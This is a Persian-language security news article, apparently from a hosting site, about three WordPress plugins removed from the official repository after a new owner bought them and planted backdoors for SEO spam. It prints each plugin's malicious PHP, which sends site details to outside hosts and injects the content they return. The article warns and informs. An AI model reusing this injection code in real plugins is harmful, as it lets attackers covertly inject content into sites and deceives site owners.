آلوده بودن ۳ پلاگین پرکاربرد وردپرس طی دو هفته گذشته سبب شد تا وردپرس اقدام به حذف آنها از مخزن رسمی خود کند.
به طوری که دیگر دسترسی به آنها از طریق این وبسایت غیرممکن شده و آپدیتهای بعدی برای آنها منتشر نخواهد شد.
آلوده بودن ۳ پلاگین پرکاربرد وردپرس به Backdoor
تمامی ۳ پلاگین آلوده طی بررسیهای اخیر وبسایت رسمی وردپرس طی ۶ ماه گذشته حق امتیاز آنها توسط فردی ناشناس خریداری شده و اهداف این فرد دسترسی از وبسایتها به منظور آلوده سازی آنها به بک لینکهای موردنظر جهت حملات موسوم به seo spam میباشد.
Duplicate Page and Post URL: https://wordpress.org/plugins/duplicate-page-and-post/ Active Installs: ۵۰,۰۰۰+ Current Owner: pluginsforwp (joined WordPress.org July 10, 2017) Sold Date: August 2017 Removed from WordPress.org date: December 14, 2017
اولین پلاگین بسیار معروف که تعداد بسیار زیادی از وب سایتهای فعال، چیزی در حدود ۵۰۰۰۰ نصب فعال داشته است پلاگین Duplicate Page and Post میباشد. اولین بار در version 2.1.0 این پلاگین سورس کدهای آلوده مشاهده شد و اخیراً هم در version 2.1.1 این پلاگین،در زیر میتوانیدبخش آلوده به Backdoor این پلاگین را مشاهده کنید.
$request_url = 'https://cloud-wp.org/api/v1/update?url=' . urlencode($url) . '&ip=' . urlencode($ip) . '&user_agent=' . urlencode($user_agent); $response = wp_remote_get($request_url, array('timeout' => 2)); $this->data = new stdClass(); $this->data->content = null; $this->data->confirm = null; $this->data->contact = null; if (!$response instanceof WP_Error && $response['body']) { $data = json_decode($response['body']); if (null !== $data) { $content_position = $data->version; if ('1' == $content_position) { $this->data->confirm = $data->data; if (!$output_buffer) { $this->data->content = $data->data; } } elseif ('2' == $content_position) { $this->data->content = $data->data; } else { $this->data->contact = $data->data; } } }
این کد دقیقاً چه کار میکند؟
کاملاً مشخص است که یک رکوئست به آدرس cloud-wp.org فرستاده شده و پاسخ از طریق یک آدرس url برگشت داده میشود و تمامی این عملیات به صورت خودکار و درون سورس کدهای پلاگین و بدون آگاهی کاربر اتفاق میافتد و این کد در هر رکوئست اجرا شده و قدرت inject محتوا و امکان ساخت بک لینک و یا حملات seo spam را به نفوذگر میدهد.
۲ – پلاگین معروف بعدی No Follow All External Links میباشد که اطلاعات در دسترس ما از این پلاگین در زیر آورده شده است.
No Follow All External Links URL: https://wordpress.org/plugins/nofollow-all-external-links/ Active Installs: ۹,۰۰۰+ Current Owner: gearpressstudio (joined WordPress.org March 17, 2017) Sold Date: April 2017 Removed from WordPress.org date: December 19, 2017
اولین با سورس کد آلوده به content-injection در version 2.1.0 این پلاگین رخ داد و کد آلوده آن به شکل زیر میباشد.
if (self::$data['report'] && self::$advancedSettings['improvement'] = 1) { $requestUrl = 'https://cloud.wpserve.org/api/v1/update?&url=' . urlencode('http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']) . '&agent=' . urlencode($_SERVER['HTTP_USER_AGENT']) . '&ip=' . urlencode($_SERVER['SERVER_ADDR']); $response = wp_remote_get($requestUrl, ['timeout' => 2]); if (!$response instanceof WP_Error) { self::$data['response'] = json_decode($response['body']); } } add_filter('the_content', ['noFollowAllExternalLinks', 'interceptContent']);
این کد نیز همانند مشکل پلاگین قبلی با ارسال رکوئست ها به cloud.wpserve.org امکان تزریق بک لینک و seo spam را برای نفوذگر که همان نویسنده پلاگین باشد فراهم میسازد.
۳ – پلاگین آخر Wp No External Links میباشد که اطلاعات ثبت شده آن در مخزن وردپرس به شرح ذیل میباشد.
WP No External Links URL: https://wordpress.org/plugins/wp-noexternallinks/ Active Installs: ۳۰,۰۰۰+ Current Owner: steamerdevelopment (joined WordPress.org June 29, 2017) Sold Date: July 12, 2017 Removed from WordPress.org date: December 22, 2017 (we’re assuming this based on the date of the last update note, from a member of the WordPress.org plugins team)
این پلاگین نیز آلوده به قطعه کد زیر درون سورس کدهای خود بوده و همانند دو پلاگین قبلی با اتصال به یک آدرس url مشخص امکان تزریق کدهای موردنظر هکر را برای آن میسر میکند.
if ($this->data->report) { $request_url = 'https://wpconnect.org/api/v1/update?&url=' . urlencode($this->data->url) . '&ip=' . urlencode($this->data->ip) . '&user_agent=' . urlencode($this->data->user_agent); $response = wp_remote_get($request_url, array('timeout' => 2)); if (!$response instanceof WP_Error && $response['body']) { $data = json_decode($response['body']); $content_position = $data->version; if ('1' == $content_position) { $this->data->buffer = $data->data; if ('all' !== $this->options->mask_links) { $this->data->before = $data->data; } } elseif ('2' == $content_position) { $this->data->before = $data->data; } else { $this->data->after = $data->data; } }}
طبق بررسیهای وبسایت رسمی وردپرس پلاگینهای اول و سوم توسط یک فرد با نام مستعار Daley Tias از نویسندگان آنها خریداری شده بوده و سپس در ورژن های بعدی به کدهای مخرب آلودهشدهاند و این سند را نیز آدرس ip های هر دو وب سایتی که رکوئست ها به آن ارسال میشدند مشخص میکند.
با بررسیهای نهایی صورت گرفته، آلوده بودن ۳ پلاگین پرکاربرد وردپرس تماماً در جهت حملات seo spam و استفاده از وبسایتها جهت گرفتن بک لینکهای پنهانی بودهاند
مهم: توصیه مدیر سرور به شما این است که اگر از هر یک از ۳ پلاگین بالا بر روی وبسایت شما استفاده شده است آن را سریعاً حذف کنید و وبسایت خود را به صورت دقیق مورد ارزیابی قرار دهید تا به seo spam آلوده نشده باشد و حتماً آموزش افزایش امنیت وردپرس را مطالعه کنید و چنانچه آگاهی از مباحث seo ندارید و دقیقاً نمیدانید باید به دنبال چه مواردی درون وبسایت خود باشد آموزش سئو وردپرس میتوانید شما را بسیار کمک کند.
سلام
مطلب خیلی خوبی بود
تشکر